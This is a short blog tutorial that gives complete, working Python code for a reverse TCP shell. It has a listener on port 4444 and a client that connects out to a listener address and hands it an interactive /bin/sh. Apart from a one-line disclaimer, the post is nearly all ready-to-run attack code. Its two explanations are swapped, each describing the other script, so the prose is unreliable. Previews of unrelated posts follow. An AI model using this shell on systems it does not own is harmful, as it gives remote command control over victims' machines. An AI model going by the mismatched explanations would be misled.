Skip to main content

Write Python Reverse TCP Shells in less than 5.1 Min

 

Write Python Reverse TCP Shells in less than 5.1 Min

R. Eric Kiser

Disclaimer: for research purposes and connections to devices you own. To write a reverse TCP shell in any language you will need two programs, the server and the client. You need to run the server (listener) on your device and run the client on computer you want to connect to. Python is often allowed on most systems.

Reverse TCP Shell Server Example

import socket

HOST = '0.0.0.0' # Listen on all interfaces
PORT = 4444 # Port to listen on

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1) # Listen for only one connection

print(f'[*] Listening on {HOST}:{PORT}')

conn, addr = s.accept()
print(f'[*] Connection from {addr[0]}:{addr[1]}')

# Start a shell
while True:
command = input("$ ")
if command == "exit":
break
conn.send(command.encode())
data = conn.recv(1024).decode()
print(data)

conn.close()

This script creates a socket and connects to the IP address and port specified by the HOST and PORT variables, respectively. After connecting, it starts a shell process and redirects its input, output, and error streams to the socket. The Popen.wait() method is called to run the shell until it terminates. Finally, the socket is closed.

Reverse TCP Client Example

import socket
import subprocess

HOST = '10.0.0.1' # IP of the listener
PORT = 4444 # Port to connect to

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# Start a shell process
p = subprocess.Popen(['/bin/sh', '-i'],
stdin=s.fileno(),
stdout=s.fileno(),
stderr=s.fileno())

# Run the shell until the process terminates
p.wait()

# Close the socket
s.close()

This script creates a socket and binds it to the IP address and port specified by the HOST and PORT variables, respectively. Then it listens for incoming connections, and when a connection is received it prints the IP address and port of the client. After that, it enters into a loop, where it waits for commands from the user and sends them to the connected client. The client receives the command, execute it and sends back the result to the server which is printed. If the command received is “exit”, the loop breaks and the connection is closed.

Comments

Popular posts from this blog

  Python Script to search for YouTube Data trends R. Eric Kiser As a subject matter expert, I wanted to gain insight into the topics that my readers and students are interested in. Given the increasing popularity of video platforms such as YouTube, I decided to use a Python script to pull data from Google Trends on a specific topic of interest, “hacking.” This script allows me to understand the current trends and popular search queries in the field, and tailor my content to align with the needs and interests of my audience. Below is the simple script that I created. I tend to do more with the project but that is for another day. import requests from pytrends.request import TrendReq # create a new instance of the pytrends class pytrend = TrendReq() # prompt for keyword keyword = input ( "Enter a keyword to search for data trends: " ) # set the parameters for the trend search kw_list = [keyword] timeframe = "today 1-m" # get the trends pytrend.build_payloa...
  Cyber Incident Response Workflow Diagraming Tools R. Eric Kiser There are several diagram drawing tools available on the market today that can be explored. Two very common drawing tools, Microsoft Visio and Draw.io tend to dominate the arena. Draw.io is a free, web-based diagramming software that allows users to create a variety of diagrams, including flowcharts, mind maps, network diagrams, and more. It is web application or as a standalone desktop application for multiple operating systems. Draw.io provides a range of templates and shapes to help users create professional-looking diagrams quickly and easily. It also has a range of collaboration features, including the ability to share diagrams and work on them with others in real-time. Draw.io supports a number of file formats, including .png, .svg, .pdf, and .xml, and can be integrated with other applications through its API. Microsoft Visio is very similar to Draw.io but is the proprietary and a part of the Micr...
  Vulnerability Identification Techniques R. Eric Kiser Vulnerability detection can often be automated through the use of tools such as vulnerability scanners. While these tools can be useful, it is important for organizations not to rely solely on automated techniques and to also incorporate more comprehensive methods in their vulnerability detection efforts. Failing to do so could result in the organization missing vulnerabilities that could potentially lead to data breaches. There are a number of methods that can be employed to identify vulnerabilities in target systems Penetration Tests A penetration test, also known as a pen test, is a simulated cyber attack on a computer system, network, or web application to test its defenses and identify vulnerabilities that an attacker could exploit. This is much more than just a scan as the pen tester intends to find a method of getting foothold on your internal network or sensitive data by acting as a real attacker would. T...